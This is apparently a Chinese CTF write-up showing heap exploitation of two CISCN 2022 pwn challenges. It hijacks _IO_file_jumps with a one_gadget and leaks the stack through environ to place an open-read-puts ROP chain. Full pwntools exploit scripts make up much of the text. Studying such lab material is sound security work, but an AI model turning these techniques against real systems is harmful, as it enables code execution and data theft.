导言
哎,异或fd指针真是令人讨厌
IO_file_jumps
_IO_lock_t _IO_stdfile,_IO_wide_data(针对宽字节的虚函数表),_IO_FILE_plus(含有stdin,stdout)
三者均被定义为IO_file_jumps
原理
IO_file_jumps是一个全局变量符号,存有以下符号

这个结构体主要跟缓冲区有关,比如调用puts,fread,fgets,exit(这个会触发_IO_flush_all_lockp)
之类的函数时,会根据_IO_FILE结构体调用对应的函数,常常会用到_IO_file_jumps
我们根据情况,将对应的函数指针修改为system(‘/bin/sh’),岂不是getshell?
例题:[CISCN 2022 华东北]duck
checksec

源审
主函数是经典的菜单选择

add

delete

show

edit

总结就是经典的UAF漏洞,不存在sandbox,但由于是GLIBC2.34高版本,hook函数基本都被扬了,没法像之前那样攻击了,因为有puts函数会调用IO_file_jumps,所以我们将目标定为IO_file_jumps进行伪造
Payload实现
leak_libc_and_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux', 'splitw', '-h']
p = process('./duck')
elf = ELF('./duck') libc = ELF('./libc.so.6')
def add(): p.recvuntil(b'Choice: ') p.sendline(b'1')
def delete(index): p.recvuntil(b'Choice: ') p.sendline(b'2') p.recvuntil(b'Idx: ') p.sendline(str(index))
def show(index): p.recvuntil(b'Choice: ') p.sendline(b'3') p.recvuntil(b'Idx: \n') p.sendline(str(index))
def edit(index,content): p.recvuntil(b'Choice: ') p.sendline(b'4') p.recvuntil(b'Idx: ') p.sendline(str(index)) p.recvuntil(b'Size: ') p.sendline(str(len(content))) p.recvuntil(b'Content: ') p.send(content)
for i in range(8): add() add() for i in range(8): delete(i) show(7) main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 log.success('main_arena==>'+hex(main_arena)) libc_base = main_arena - 0x1f2c60 log.success('libc_base==>'+hex(libc_base)) IO_file_jumps = libc_base + libc.sym['_IO_file_jumps'] log.success('IO_file_jumps==>'+hex(IO_file_jumps)) one_gadget = libc_base + 0xda864
show(0) heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 log.success('heap_base==>'+hex(heap_base))
|
最开始的步骤都很基础,将tcache填满,再free一个进入unsorted_bin从而泄露main_arena+96,进而泄露libc_base来获取各个函数的地址。在高版本libc,heap的fd指针会有加密,需要移位,有时还要异或
现在的接收都是u64(p.recv(5).ljust(8,b'\x00')) << 12
而修改heap的fd指针则是(heap_addr >> 12)^target_addr
伪造_IO_file_jumps结构体
1 2 3
| for i in range(5): add() edit(1,p64((heap_base >> 12)^IO_file_jumps) + p64(0))
|
因为之前free了七个chunk,为了不破坏bins的结构,先取出五个chunk,然后再进行修改
add前

add时

edit后

所以我们再申请两个出来后就成功伪造了_IO_file_jumps的chunk,我们就可以对它进行修改了
修改_IO_file_jumps结构体
1 2 3
| add() add() edit(15,p64(0) * 3 + p64(one_gadget))
|
我们首先看看修改前结构体的内容

可以看到,跟我们原理里介绍的一样,那么我们将它edit后呢?

可以看到,__overflow被覆盖为了onegadget的地址,原本调用puts的流程是puts->_IO_putc->_IO_overflow
,这下_IO_overflow变成了onegadget,意味着执行puts的时候就getshell了




这就是完整的劫持流程啦,执行这个后就getshell了
完整Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux', 'splitw', '-h']
p = process('./duck')
elf = ELF('./duck') libc = ELF('./libc.so.6')
def add(): p.recvuntil(b'Choice: ') p.sendline(b'1')
def delete(index): p.recvuntil(b'Choice: ') p.sendline(b'2') p.recvuntil(b'Idx: ') p.sendline(str(index))
def show(index): p.recvuntil(b'Choice: ') p.sendline(b'3') p.recvuntil(b'Idx: \n') p.sendline(str(index))
def edit(index,content): p.recvuntil(b'Choice: ') p.sendline(b'4') p.recvuntil(b'Idx: ') p.sendline(str(index)) p.recvuntil(b'Size: ') p.sendline(str(len(content))) p.recvuntil(b'Content: ') p.send(content)
for i in range(8): add()
add() for i in range(8): delete(i)
show(7) main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 log.success('main_arena==>'+hex(main_arena)) libc_base = main_arena - 0x1f2c60 log.success('libc_base==>'+hex(libc_base)) IO_file_jumps = libc_base + libc.sym['_IO_file_jumps'] log.success('IO_file_jumps==>'+hex(IO_file_jumps)) one_gadget = libc_base + 0xda864
show(0) heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 log.success('heap_base==>'+hex(heap_base))
for i in range(5): add()
edit(1,p64((heap_base >> 12)^IO_file_jumps) + p64(0)) add()
add() gdb.attach(p) edit(15,p64(0) * 3 + p64(one_gadget))
p.interactive()
|
environ
原理
environ,顾名思义,就是环境变量,一般来说就是以下这些玩意等等


我们可以通过environ泄露出栈地址,根据相对偏移计算出当前栈的地址的ret,如果能修改ret,我们就有很多操作空间
例题:[CISCN 2022 华东北]bigduck
保护检查
checksec和源审和上题的duck是一样的,只不过版本不一样,这题的版本是libc-2.33,此时的hook函数还没被扬,但是本题开了sanbox,只能用orw

Payload实现
leak_libc_and_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux', 'splitw', '-h']
p = process('./bigduck')
elf = ELF('./bigduck') libc = ELF('./libc.so.6')
def add(): p.recvuntil(b'Choice: ') p.sendline(b'1')
def delete(index): p.recvuntil(b'Choice: ') p.sendline(b'2') p.recvuntil(b'Idx: ') p.sendline(str(index))
def show(index): p.recvuntil(b'Choice: ') p.sendline(b'3') p.recvuntil(b'Idx: \n') p.sendline(str(index))
def edit(index,content): p.recvuntil(b'Choice: ') p.sendline(b'4') p.recvuntil(b'Idx: ') p.sendline(str(index)) p.recvuntil(b'Size: ') p.sendline(str(len(content))) p.recvuntil(b'Content: ') p.send(content)
for i in range(8): add() add() for i in range(8): delete(i) edit(7, b'a') show(7) main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 - 0x61 log.success('main_arena==>'+hex(main_arena)) malloc_hook = main_arena - 0x10 log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook'] log.success('libc_base==>'+hex(libc_base)) environ = libc_base + libc.sym['_environ'] log.success('environ==>'+hex(environ))
show(0) heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 log.success('heap_base==>'+hex(heap_base))
|
跟上题一样的步骤
泄露stack
1 2 3 4 5 6 7 8 9 10 11
| stack_ptr = (heap_base >> 12) ^ environ log.success('stack_ptr==>'+hex(stack_ptr)) gdb.attach(p) edit(6,p64(stack_ptr)) add() add() show(10) stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.success('stack==>'+hex(stack)) stack_base = stack - 0x138 log.success('stack_base==>'+hex(stack_base))
|
can can edit之后

跟原理上展示一样,再add两次伪造environ成chunk后即可puts出栈地址,从而计算出当前函数(edit)的ret地址,再进行修改



对比一下就发现没有错,在后续中修改edit_ret即可
orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| pop_rdi = libc_base + 0x28a55 pop_rsi = libc_base + 0x2a4cf pop_rdx = libc_base + 0xc7f32 pop_ret = libc_base + 0x26699 open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] puts_addr = libc_base + libc.sym['puts'] flag_addr = heap_base + 0x5d0
edit(3,b'/flag\x00')
orw = p64(0) * 3 + p64(pop_ret) + p64(pop_rdi) + p64(flag_addr) +p64(pop_rsi) + p64(0) + p64(open_addr) orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr) orw += p64(pop_rdi) + p64(heap_base + 0x300) + p64(puts_addr)
delete(8) delete(9) edit(9, p64((heap_base >> 12)^stack_base)) add() add() edit(12,orw) p.interactive()
|
在对应的heap地址上edit出flag,记住该地址赋给rdi,实现open的打开,后续的都是基础的操作,因为高版本setcontext函数有所改变,笔者尚不熟悉,所以没有用,而是用这种普通的orw。
照旧先free两个进行链子改造

add两个后申请到了栈上,可以修改栈内容,由于rsp距rbp有0x10个字节,因此覆盖0x18后链上orw即可


基本就跟getshell了差不多。不过这里用不了write函数,会通不过某个检测
总结
我的脑袋——
我好想你——
我快困死了——